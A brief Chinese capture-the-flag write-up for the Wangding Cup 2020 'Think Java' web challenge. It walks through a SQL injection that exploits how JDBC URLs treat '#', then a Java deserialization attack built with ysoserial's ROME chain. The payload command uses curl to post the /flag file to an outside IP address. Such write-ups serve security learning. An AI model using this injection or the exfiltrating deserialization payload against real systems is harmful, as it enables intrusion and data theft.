CTF Web安全

[网鼎杯 2020 朱雀组]Think Java

Posted on 2020-07-20,2 min read

下载class。反编译
有个路由。对应的函数接受dbName参数

根据dbName传入值。然后创建数据库连接。并且带入sql执行

这里还导入了springframework包。扫描得到swagger-ui.html
存在三个路由

先去sql注入的/common/test/sqlDict看看
首先要保证。连接数据库的时候不报错
jdbc类似URL解析。所以当我们输入myapp#' union select 1#
#在URL中是锚点。所以

jdbc:mysql://mysqldbserver:3306/myapp#' union select 1#
会被解析成
jdbc:mysql://mysqldbserver:3306/myapp

再带入sql语句
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '#' union select 1#' and table_name='" + TableName + "'
第一个#被单引号包裹。成了普通的#字符。第二个#注释掉了后面的语句。造成sql注入

注入出密码后。去login登陆
获得data

这个data是java反序列化的东西
可以直接用yso生成payload
去current打

java -jar ysoserial.jar ROME "curl http://174.2.90.186:1234 -d @/flag" |base64
去current打
Bearer rO0ABXNyABFqYXZhL.................................................

下一篇: 域渗透常用命令→